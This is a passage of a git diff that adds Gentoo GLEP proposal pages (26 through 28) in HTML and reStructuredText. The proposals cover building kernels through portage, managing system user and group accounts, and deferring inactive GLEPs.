+<p>This would lead us to several case scenarios (assuming kernel-config is part of the base
+system):</p>
+<blockquote>
+<ol class="arabic">
+<li><p class="first">default kernel, no initrd:              &quot;emerge gentoo-kernel&quot;</p>
+</li>
+<li><p class="first">default kernel, initrd:                 &quot;emerge aa-kernel initrd&quot;</p>
+</li>
+<li><p class="first">default kernel, bootsplash initrd:      &quot;USE=bootsplash emerge mm-kernel initrd&quot;</p>
+</li>
+<li><dl class="first docutils">
+<dt>non-default kernel, no initrd:          &quot;kernel-config gentoo-dev-kernel&quot;</dt>
+<dd><p class="first last">&quot;emerge gentoo-dev-kernel&quot;</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>non-default kernel, initrd:             &quot;kernel-config alpha-kernel&quot;</dt>
+<dd><p class="first last">&quot;emerge alpha-kernel initrd&quot;</p>
+</dd>
+</dl>
+</li>
+<li><p class="first">JUST sources, no binary                 &quot;USE=-buildkernel emerge grsec-kernel&quot;</p>
+</li>
+</ol>
+</blockquote>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>There are many advantages gained by this method:</p>
+<blockquote>
+<ol class="arabic simple">
+<li>Full arch support (GentooInstaller really could use this)</li>
+<li>More consistent with the rest of portage (installs binaries by building from source)</li>
+<li>Better user experience</li>
+<li>More flexability (genkernel forces building of initrd on x86)</li>
+<li>Don't have to store full kernel sources (each source tree is ~200MB unpacked)</li>
+<li>Creates the ability to make binary kernel packages for fast installs (think GRP kernel)</li>
+<li>A seperate package for &quot;generic&quot; kernel config files gives us better version tracking</li>
+</ol>
+</blockquote>
+<p>The major problem is, however, that we currently have two different build systems,
+portage and genkernel.  Having competing build systems is not a GoodThing TM.  Therefore,
+we can either make portage build kernels or we can make genkernel build everything else.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>If you want to emerge kernel sources the old way, just do: USE=&quot;-buildkernel&quot; emerge kernel-name</p>
+<p>Perhaps we could also name the new kernel-config program (from Stage 1) &quot;genkernel&quot; so that users
+can have a seemless transition.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>not yet ..</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0026.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0026.txt b/xml/htdocs/proj/en/glep/glep-0026.txt
new file mode 100644
index 00000000..9909dba9
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0026.txt
@@ -0,0 +1,129 @@
+GLEP: 26
+Title: Handling kernels with portage
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2004/11/11 21:32:21 $
+Author: Nathaniel McCallum <npmccallum@gentoo.org>, Joshua Campbell <warpzero@gentoo.org>
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 2-May-2004
+Post-History: 2-May-2004, 11-Nov-2004
+
+Abstract
+========
+
+This GLEP proposes to create a more consistent handling of kernels and kernel building.
+Currently "emerge kernel-name" only installs the sources and does not build anything.
+"emerge kernel-name" should install only sources OR only a binary kernel, its modules, 
+and a tarballed package of kernel-headers, depending on USE flag.
+
+Status
+======
+
+Timed out
+
+
+Motivation
+==========
+
+Currently, the only automated kernel build proceedure that we have is genkernel. While
+genkernel is a great tool, its main weakness is that it does not port well to other
+arches because of the initrd and the lack of good "generic" settings for other arches.
+This GLEP hopes to overcome this by abstracting the various layers of genkernel and
+implementing the most common aspect (the build proceedure) into a portage eclass.
+
+Specification
+=============
+
+There would be 3 layers to kernel building:		(place of implementation)
+
+	- Stage 1 - Configuring the kernel (optional)	-- external utility
+	- Stage 2 - Building the kernel 			-- in an eclass
+	- Stage 3 - Building the initrd (optional)	-- in an ebuild
+	
+Stages 1 and 3 are optional on most arches.  
+
+Stage 1 would be achieved through a seperate utility (perhaps like the current
+genkernel).  This utility would help the user configure the kernel and any kernel/build
+related settings.  This stage is optional and would only be used if a person wanted a
+customized kernel settings.  One optional thought is to have this utility a part of the 
+base Gentoo system.  That way there are less steps to make a custom kernel.
+
+Stage 2 would be implimented through an eclass.  This stage is not optional.  One would
+perform this step by typing "emerge kernel-name", where "kernel-name" is the name of
+the kernel package you want to use (ie. "gentoo-dev").  This package would have a
+"buildkernel" USE flag.  If the flag was not set, it would simply download and install
+sources like we do currently.  However, if the "buildkernel" flag is set, portage will 
+perform the following steps:
+
+	1.	(as a dependency) download and install a tarball of "generic" kernel config files.
+	2.	Check to see if customized kernel config/settings have been set via Stage 1.
+	3.	Portage will use a custom config, if available.  Otherwise, a "generic" config.
+	4.	If neither a custom config or a "generic" config is available, die (with message).
+		This is needed as some arches don't/can't have "generic" configs, so they will
+		simply be presented a message telling them to run the utility from Stage 1 (which
+		they obviously skipped).
+	5.	Build the kernel and modules and install them
+	6.	Remove unnecessary files from the sources and tarball it as "kernel-headers".
+		This tarball provides the appropriate files to build external modules against, like
+		nvidia-kernel, etc...  The external modules (when built) will determine the running
+		kernel and unpack the appropriate tarball, to build against, then remove the files.
+
+Stage 3 would merely be an ebuild that constructs an initrd image for either the running
+kernel or, lacking a running kernel, the newest kernel installed (by version/date installed?).
+Initrd's can't be used on all arches, so this ebuild can be keyword masked as appropriate.
+The initrd package would also have a "bootsplash" USE flag (on x86, maybe others) that
+would build in bootsplash support.  Any non-default actions desired by the user can be
+handled with the utility from Stage 1.
+
+This would lead us to several case scenarios (assuming kernel-config is part of the base 
+system):
+
+	1.	default kernel, no initrd: 		"emerge gentoo-kernel"
+	
+	2.	default kernel, initrd: 		"emerge aa-kernel initrd"
+
+	3.	default kernel, bootsplash initrd:	"USE=bootsplash emerge mm-kernel initrd"
+
+	4.	non-default kernel, no initrd:		"kernel-config gentoo-dev-kernel"
+							"emerge gentoo-dev-kernel"
+												
+	5.	non-default kernel, initrd:		"kernel-config alpha-kernel"
+							"emerge alpha-kernel initrd"
+
+	6. 	JUST sources, no binary			"USE=-buildkernel emerge grsec-kernel"
+
+Rationale
+=========
+
+There are many advantages gained by this method:
+
+	1.	Full arch support (GentooInstaller really could use this)
+	2.	More consistent with the rest of portage (installs binaries by building from source)
+	3.	Better user experience
+	4.	More flexability (genkernel forces building of initrd on x86)
+	5.	Don't have to store full kernel sources (each source tree is ~200MB unpacked)
+	6.	Creates the ability to make binary kernel packages for fast installs (think GRP kernel)
+	7.	A seperate package for "generic" kernel config files gives us better version tracking
+
+The major problem is, however, that we currently have two different build systems,
+portage and genkernel.  Having competing build systems is not a GoodThing TM.  Therefore,
+we can either make portage build kernels or we can make genkernel build everything else.
+
+Backwards Compatibility
+=======================
+
+If you want to emerge kernel sources the old way, just do: USE="-buildkernel" emerge kernel-name
+
+Perhaps we could also name the new kernel-config program (from Stage 1) "genkernel" so that users 
+can have a seemless transition.
+
+Reference Implementation
+========================
+
+not yet ..
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0027.html b/xml/htdocs/proj/en/glep/glep-0027.html
new file mode 100644
index 00000000..feb4f0e0
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0027.html
@@ -0,0 +1,223 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 27 -- Portage Management of UIDs/GIDs</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0027.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">27</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Portage Management of UIDs/GIDs</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0027.txt?cvsroot=gentoo">2005/09/18 20:48:23</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Mike Frysinger &lt;vapier&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Approved</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">29 May 2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">29-May-2004, 20-Jul-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id2" name="id2">Status</a></li>
+<li><a class="reference" href="#abstract" id="id3" name="id3">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a><ul>
+<li><a class="reference" href="#portage-structure" id="id6" name="id6">Portage Structure</a><ul>
+<li><a class="reference" href="#defining-accounts" id="id7" name="id7">Defining Accounts</a></li>
+<li><a class="reference" href="#local-overrides" id="id8" name="id8">Local Overrides</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#developer-interface" id="id9" name="id9">Developer Interface</a><ul>
+<li><a class="reference" href="#eusers-egroups" id="id10" name="id10">EUSERS + EGROUPS</a></li>
+<li><a class="reference" href="#id1" id="id11" name="id11">Defining Accounts</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#user-interface" id="id12" name="id12">User Interface</a><ul>
+<li><a class="reference" href="#users-update" id="id13" name="id13">users-update</a></li>
+<li><a class="reference" href="#features-noautoaccts" id="id14" name="id14">FEATURES=noautoaccts</a></li>
+</ul>
+</li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id15" name="id15">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id16" name="id16">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id17" name="id17">References</a></li>
+<li><a class="reference" href="#copyright" id="id18" name="id18">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="status" name="status">Status</a></h1>
+<p>This GLEP was approved as-is on 14-Jun-2004.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="abstract" name="abstract">Abstract</a></h1>
+<p>The current handling of users and groups in the portage system lacks
+policy and a decent API.  We need an API that is both simple for
+developers and end users.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Currently the policy is left up to respective ebuild maintainers to
+choose the username, id, shell settings, etc... and to have them added
+in the right place at the right time in the right way.  When the
+addition of users was found to often times have broken logic, the
+enewuser and enewgroup functions were designed to remove all the
+details.  However, these functions still suffer from some fundamental
+problems.  First, there is no local customization.  Second, maintainers
+still use the functions improperly (binary packages have suffered the
+most thus far).  Third, the functions are not portable across non-linux
+systems and not friendly to cross compiling or other exotic setups.
+There are other reasons, but these listed few are enough to warrant
+change.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id6" id="portage-structure" name="portage-structure">Portage Structure</a></h2>
+<div class="section">
+<h3><a class="toc-backref" href="#id7" id="defining-accounts" name="defining-accounts">Defining Accounts</a></h3>
+<p>New directories will need to be added to the rsync tree to store the files
+that define the default values for new accounts.  They will be stored on a
+per-profile basis, that way sub-profiles may easily override parent profiles.
+The default location will be the base profile since all other profiles inherit
+from there.</p>
+<pre class="literal-block">
+portage/profiles/base/accounts/
+    user/&lt;username&gt;
+    group/&lt;groupname&gt;
+    accounts
+</pre>
+<p>The files are named with the respective user/group name since they need
+to be unique in their respective domains.  For example, the file
+detailing the ntp user would be located accounts/user/ntp.  Each
+username file will detail the required information about each user.
+Certain account features that exist on one class of systems (Linux) but
+not on others (*BSD) can be redefined in their respective subprofiles.  Each
+groupname will follow similar guidelines.  The accounts file will be used to
+describe global account defaults such as the default range of 'valid system'
+ids.  For example, if the UID 123 is already used on a system, but the ntp
+user defaults to '123', we obviously cannot just duplicate it.  So we
+would select the next available UID on the system based upon the range
+defined here.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id8" id="local-overrides" name="local-overrides">Local Overrides</a></h3>
+<p>Following the tried and true style of custom local portage files being
+found in /etc/portage, this new system will follow the same.  Users can
+setup their own directory heirarchy in /etc/portage/profile/accounts/ that
+mimics the heirarchy found in the portage tree.  When portage attempts to add
+a new user, it will first check /etc/portage/profile/accounts/user/&lt;username&gt;.
+If it does not exist, it will simply use the default definition in the
+portage tree.</p>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id9" id="developer-interface" name="developer-interface">Developer Interface</a></h2>
+<div class="section">
+<h3><a class="toc-backref" href="#id10" id="eusers-egroups" name="eusers-egroups">EUSERS + EGROUPS</a></h3>
+<p>Ebuilds that wish to add users or groups to the system must set these
+variables.  They are both space delimited lists that tells portage what
+users/groups must be added to the system before emerging the ebuild.  The
+maintainer of the ebuild can assume the users/groups they have listed
+exist before the functions in the ebuild (pkg_setup, src_install, etc...)
+are ever run.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id11" id="id1" name="id1">Defining Accounts</a></h3>
+<p>Any developer is free to add users/groups in their ebuilds provided they
+create the required account definition files.</p>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id12" id="user-interface" name="user-interface">User Interface</a></h2>
+<div class="section">
+<h3><a class="toc-backref" href="#id13" id="users-update" name="users-update">users-update</a></h3>
+<p>When this script is run, all the users/groups that have been added by
+portage to the system will be shown along with the packages that have
+added said users/groups.  Here they can delete accounts that are no longer
+required by the currently installed packages (and optionally run a
+script that will try to locate all files on the system that may still be
+owned by the account).</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id14" id="features-noautoaccts" name="features-noautoaccts">FEATURES=noautoaccts</a></h3>
+<p>This is for the people who never want portage creating accounts for them.
+When portage needs to add an account to the system but &quot;noautoaccts&quot; is
+in FEATURES, portage will abort with a message instructing the user to
+add the accounts that are listed in EUSERS and EGROUPS.  This is
+obviously a required step before the package will be emerged.</p>
+</div>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="rationale" name="rationale">Rationale</a></h1>
+<p>Developers no longer have to worry about how to properly add users/groups
+to systems and worry about whether or not their code will work on all
+systems (LDAP vs local shadow vs cross compile vs etc...).  Users can
+easily override the defaults Gentoo has before dictated.  The default
+passwd and group database can once again be trimmed down to the barest of
+accounts.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Handled in similar fashion as other portage rollouts.  When using the new
+account system, add a DEPEND for the required version of portage to the
+ebuild.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="apibug" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="apibug">[1]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=8634">http://bugs.gentoo.org/show_bug.cgi?id=8634</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0027.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0027.txt b/xml/htdocs/proj/en/glep/glep-0027.txt
new file mode 100644
index 00000000..d5a5c231
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0027.txt
@@ -0,0 +1,169 @@
+GLEP: 27
+Title: Portage Management of UIDs/GIDs
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2005/09/18 20:48:23 $
+Author:	Mike Frysinger <vapier@gentoo.org>
+Status: Approved
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 29 May 2004
+Post-History: 29-May-2004, 20-Jul-2004
+
+
+Status
+======
+
+This GLEP was approved as-is on 14-Jun-2004.
+
+Abstract
+========
+
+The current handling of users and groups in the portage system lacks 
+policy and a decent API.  We need an API that is both simple for 
+developers and end users.
+
+
+Motivation
+==========
+
+Currently the policy is left up to respective ebuild maintainers to 
+choose the username, id, shell settings, etc... and to have them added 
+in the right place at the right time in the right way.  When the 
+addition of users was found to often times have broken logic, the 
+enewuser and enewgroup functions were designed to remove all the 
+details.  However, these functions still suffer from some fundamental 
+problems.  First, there is no local customization.  Second, maintainers 
+still use the functions improperly (binary packages have suffered the 
+most thus far).  Third, the functions are not portable across non-linux 
+systems and not friendly to cross compiling or other exotic setups.  
+There are other reasons, but these listed few are enough to warrant 
+change.
+
+
+Specification
+=============
+
+
+Portage Structure
+-----------------
+
+
+Defining Accounts
+'''''''''''''''''
+
+
+New directories will need to be added to the rsync tree to store the files 
+that define the default values for new accounts.  They will be stored on a 
+per-profile basis, that way sub-profiles may easily override parent profiles.  
+The default location will be the base profile since all other profiles inherit 
+from there.
+
+::
+
+	portage/profiles/base/accounts/
+	    user/<username>
+	    group/<groupname>
+	    accounts
+
+The files are named with the respective user/group name since they need 
+to be unique in their respective domains.  For example, the file 
+detailing the ntp user would be located accounts/user/ntp.  Each 
+username file will detail the required information about each user.  
+Certain account features that exist on one class of systems (Linux) but 
+not on others (\*BSD) can be redefined in their respective subprofiles.  Each 
+groupname will follow similar guidelines.  The accounts file will be used to 
+describe global account defaults such as the default range of 'valid system' 
+ids.  For example, if the UID 123 is already used on a system, but the ntp 
+user defaults to '123', we obviously cannot just duplicate it.  So we 
+would select the next available UID on the system based upon the range 
+defined here.
+
+
+Local Overrides
+'''''''''''''''
+
+Following the tried and true style of custom local portage files being 
+found in /etc/portage, this new system will follow the same.  Users can 
+setup their own directory heirarchy in /etc/portage/profile/accounts/ that 
+mimics the heirarchy found in the portage tree.  When portage attempts to add 
+a new user, it will first check /etc/portage/profile/accounts/user/<username>.  
+If it does not exist, it will simply use the default definition in the 
+portage tree.
+
+
+Developer Interface
+-------------------
+
+
+EUSERS + EGROUPS
+''''''''''''''''
+
+Ebuilds that wish to add users or groups to the system must set these 
+variables.  They are both space delimited lists that tells portage what 
+users/groups must be added to the system before emerging the ebuild.  The 
+maintainer of the ebuild can assume the users/groups they have listed 
+exist before the functions in the ebuild (pkg_setup, src_install, etc...) 
+are ever run.
+
+
+Defining Accounts
+'''''''''''''''''
+
+Any developer is free to add users/groups in their ebuilds provided they 
+create the required account definition files.  
+
+
+User Interface
+--------------
+
+
+users-update
+''''''''''''
+
+When this script is run, all the users/groups that have been added by 
+portage to the system will be shown along with the packages that have 
+added said users/groups.  Here they can delete accounts that are no longer 
+required by the currently installed packages (and optionally run a 
+script that will try to locate all files on the system that may still be 
+owned by the account).
+
+
+FEATURES=noautoaccts
+''''''''''''''''''''
+
+This is for the people who never want portage creating accounts for them.  
+When portage needs to add an account to the system but "noautoaccts" is 
+in FEATURES, portage will abort with a message instructing the user to 
+add the accounts that are listed in EUSERS and EGROUPS.  This is 
+obviously a required step before the package will be emerged.
+
+
+Rationale
+=========
+
+Developers no longer have to worry about how to properly add users/groups 
+to systems and worry about whether or not their code will work on all 
+systems (LDAP vs local shadow vs cross compile vs etc...).  Users can 
+easily override the defaults Gentoo has before dictated.  The default 
+passwd and group database can once again be trimmed down to the barest of 
+accounts.
+
+
+Backwards Compatibility
+=======================
+
+Handled in similar fashion as other portage rollouts.  When using the new 
+account system, add a DEPEND for the required version of portage to the 
+ebuild.
+
+
+References
+==========
+
+.. [#APIBUG] http://bugs.gentoo.org/show_bug.cgi?id=8634
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0028.html b/xml/htdocs/proj/en/glep/glep-0028.html
new file mode 100644
index 00000000..fdcb4547
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0028.html
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 28 -- "Expiration" of inactive GLEPs</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0028.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">28</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">&quot;Expiration&quot; of inactive GLEPs</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0028.txt?cvsroot=gentoo">2004/11/11 21:42:22</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Approved</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">2-Jun-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">2-Jun-2004, 20-Jul-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id4" name="id4">Status</a></li>
+<li><a class="reference" href="#abstract" id="id5" name="id5">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id6" name="id6">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id7" name="id7">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id8" name="id8">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id9" name="id9">Backwards Compatibility</a></li>
+<li><a class="reference" href="#id1" id="id10" name="id10">References</a></li>
+<li><a class="reference" href="#copyright" id="id11" name="id11">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="status" name="status">Status</a></h1>
+<p>This GLEP was approved on 14-Jun-2004.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="abstract" name="abstract">Abstract</a></h1>
+<p>To keep inactive GLEPs from lingering in a limbo state, Draft GLEPs that have
+been inactive for more than 60 days and Accepted GLEPs that have been
+inactive for over six months should be marked &quot;deferred&quot; due to inactivity
+(and, presumably, lack of interest).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="motivation" name="motivation">Motivation</a></h1>
+<p>Right now a number of GLEPs have been in &quot;Draft&quot; status for as much as 11
+months, with no obvious activity occurring to either submit the GLEP for
+approval or to withdraw it as a bad idea.  Similarly, although it has not yet
+really been a problem, Accepted GLEPs also have the potential to linger
+without any indication that they are moving forward toward being finalized.
+Having a &quot;timeout&quot; period for GLEPs should spur GLEP authors to remain active
+in either getting support for or finalizing  GLEPs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="specification" name="specification">Specification</a></h1>
+<p>If a Draft GLEP is inactive for more than 60 days or an Accepted GLEP is
+inactive for more than six months, then it would be marked as &quot;deferred&quot; on
+the main <a class="reference" href="http://glep.gentoo.org">GLEP page</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[1]</a>.  Inactivity is defined simply as the GLEP author has
+not contacted the GLEP editors with either an update or a request to submit
+the GLEP for approval (in the case of a Draft GLEP) or a request that the GLEP
+be marked final (in the case of an Accepted GLEP).</p>
+<p>A GLEP that has been marked &quot;deferred&quot; may be reopened by request of the GLEP
+author or a Gentoo manager, as long as that request also includes either an
+update or a note submitting the GLEP for approval or finalization.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="rationale" name="rationale">Rationale</a></h1>
+<p>The GLEP editors have better things to do than chase after GLEP authors to
+find out how their GLEPs are progressing.  This GLEP should help.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not really an issue here.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="id1" name="id1">References</a></h1>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id2">[1]</a></td><td><a class="reference" href="http://glep.gentoo.org">http://glep.gentoo.org</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0028.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0028.txt b/xml/htdocs/proj/en/glep/glep-0028.txt
new file mode 100644
index 00000000..c030f032
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0028.txt
@@ -0,0 +1,71 @@
+GLEP: 28
+Title: "Expiration" of inactive GLEPs
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2004/11/11 21:42:22 $
+Author:	Grant Goodyear <g2boojum@gentoo.org>
+Status: Approved
+Type: Informational
+Content-Type: text/x-rst
+Created: 2-Jun-2004
+Post-History: 2-Jun-2004, 20-Jul-2004
+
+
+Status
+======
+
+This GLEP was approved on 14-Jun-2004.
+
+Abstract
+========
+
+To keep inactive GLEPs from lingering in a limbo state, Draft GLEPs that have
+been inactive for more than 60 days and Accepted GLEPs that have been
+inactive for over six months should be marked "deferred" due to inactivity
+(and, presumably, lack of interest).
+
+
+Motivation
+==========
+
+Right now a number of GLEPs have been in "Draft" status for as much as 11
+months, with no obvious activity occurring to either submit the GLEP for
+approval or to withdraw it as a bad idea.  Similarly, although it has not yet
+really been a problem, Accepted GLEPs also have the potential to linger
+without any indication that they are moving forward toward being finalized.
+Having a "timeout" period for GLEPs should spur GLEP authors to remain active
+in either getting support for or finalizing  GLEPs.
+
+Specification
+=============
+
+
